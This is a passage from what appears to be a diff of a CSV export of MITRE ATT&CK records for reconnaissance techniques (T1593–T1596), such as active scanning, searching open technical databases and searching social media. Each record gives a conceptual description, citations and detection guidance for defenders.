Shodan. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1596,mitre-attack,T1596,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Search Open Technical Databases,"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596', 'external_id': 'T1596'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}, {'source_name': 'Medium SSL Cert', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2'}, {'source_name': 'SSLShopper Lookup', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', 'url': 'https://www.sslshopper.com/ssl-checker.html'}, {'source_name': 'DigitalShadows CDN', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/'}, {'source_name': 'Shodan', 'description': 'Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', 'url': 'https://shodan.io'}]",1.0,attack-pattern,attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:56:05.810Z,2021-04-15T03:50:44.308Z,Search Open Technical Databases,"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) -Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0,attack-pattern,['reconnaissance'],2021-04-15T03:50:44.308Z,2020-10-02T16:56:05.810Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",['reconnaissance'],https://attack.mitre.org/techniques/T1596,mitre-attack,T1596,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1595.002', 'url': 'https://attack.mitre.org/techniques/T1595/002'}, {'source_name': 'OWASP Vuln Scanning', 'url': 'https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning', 'description': 'OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1595/002,mitre-attack,T1595.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Vulnerability Scanning,"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595/002', 'external_id': 'T1595.002'}, {'source_name': 'OWASP Vuln Scanning', 'description': 'OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.', 'url': 'https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning'}]",1.0,attack-pattern,attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:55:16.047Z,2021-04-15T03:20:09.446Z,Vulnerability Scanning,"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. -These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4,attack-pattern,['reconnaissance'],2021-04-15T03:20:09.446Z,2020-10-02T16:55:16.047Z,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. +These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",['reconnaissance'],https://attack.mitre.org/techniques/T1595/002,mitre-attack,T1595.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1595.001', 'url': 'https://attack.mitre.org/techniques/T1595/001'}, {'source_name': 'Botnet Scan', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1595/001,mitre-attack,T1595.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Scanning IP Blocks,"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595/001', 'external_id': 'T1595.001'}, {'source_name': 'Botnet Scan', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf'}]",1.0,attack-pattern,attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:54:23.193Z,2021-04-15T03:19:38.469Z,Scanning IP Blocks,"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. -Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120,attack-pattern,['reconnaissance'],2021-04-15T03:19:38.469Z,2020-10-02T16:54:23.193Z,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). +Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",['reconnaissance'],https://attack.mitre.org/techniques/T1595/001,mitre-attack,T1595.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Flow'],,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",['Network Traffic: Network Traffic Flow'],,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1595', 'url': 'https://attack.mitre.org/techniques/T1595'}, {'source_name': 'Botnet Scan', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.'}, {'source_name': 'OWASP Fingerprinting', 'url': 'https://wiki.owasp.org/index.php/OAT-004_Fingerprinting', 'description': 'OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1595,mitre-attack,T1595,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Active Scanning,"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1595', 'external_id': 'T1595'}, {'source_name': 'Botnet Scan', 'description': 'Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.', 'url': 'https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf'}, {'source_name': 'OWASP Fingerprinting', 'description': 'OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.', 'url': 'https://wiki.owasp.org/index.php/OAT-004_Fingerprinting'}]",1.0,attack-pattern,attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:53:16.526Z,2021-04-15T03:20:09.600Z,Active Scanning,"Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. -Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b,attack-pattern,['reconnaissance'],2021-04-15T03:20:09.600Z,2020-10-02T16:53:16.526Z,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. +Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",['reconnaissance'],https://attack.mitre.org/techniques/T1595,mitre-attack,T1595,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1594', 'url': 'https://attack.mitre.org/techniques/T1594'}, {'source_name': 'Comparitech Leak', 'url': 'https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/', 'description': 'Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1594,mitre-attack,T1594,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Search Victim-Owned Websites,"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1594', 'external_id': 'T1594'}, {'source_name': 'Comparitech Leak', 'description': 'Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.', 'url': 'https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/'}]",1.0,attack-pattern,attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:51:50.306Z,2021-04-15T03:53:33.023Z,Search Victim-Owned Websites,"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) -Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26,attack-pattern,['reconnaissance'],2021-04-15T03:53:33.023Z,2020-10-02T16:51:50.306Z,"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",['Application Log: Application Log Content'],,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1593.002', 'url': 'https://attack.mitre.org/techniques/T1593/002'}, {'source_name': 'SecurityTrails Google Hacking', 'url': 'https://securitytrails.com/blog/google-hacking-techniques', 'description': 'Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.'}, {'source_name': 'ExploitDB GoogleHacking', 'url': 'https://www.exploit-db.com/google-hacking-database', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1593/002,mitre-attack,T1593.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Search Engines,"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) +Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1594,mitre-attack,T1594,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Application Log: Application Log Content'],,"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593/002', 'external_id': 'T1593.002'}, {'source_name': 'SecurityTrails Google Hacking', 'description': 'Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.', 'url': 'https://securitytrails.com/blog/google-hacking-techniques'}, {'source_name': 'ExploitDB GoogleHacking', 'description': 'Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.', 'url': 'https://www.exploit-db.com/google-hacking-database'}]",1.0,attack-pattern,attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:50:12.809Z,2021-04-15T03:52:06.960Z,Search Engines,"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) -Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968,attack-pattern,['reconnaissance'],2021-04-15T03:52:06.960Z,2020-10-02T16:50:12.809Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",['reconnaissance'],https://attack.mitre.org/techniques/T1593/002,mitre-attack,T1593.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1593.001', 'url': 'https://attack.mitre.org/techniques/T1593/001'}, {'source_name': 'Cyware Social Media', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1593/001,mitre-attack,T1593.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Social Media,"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1593/001', 'external_id': 'T1593.001'}, {'source_name': 'Cyware Social Media', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e'}]",1.0,attack-pattern,attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:49:31.262Z,2021-04-15T03:52:40.958Z,Social Media,"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. -Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3,attack-pattern,['reconnaissance'],2021-04-15T03:52:40.958Z,2020-10-02T16:49:31.262Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",['reconnaissance'],https://attack.mitre.org/techniques/T1593/001,mitre-attack,T1593.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1593', 'url': 'https://attack.mitre.org/techniques/T1593'}, {'source_name': 'Cyware Social Media', 'url': 'https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e', 'description': 'Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.'}, {'source_name': 'SecurityTrails Google Hacking', 'url': 'https://securitytrails.com/blog/google-hacking-techniques', 'description': 'Borges, 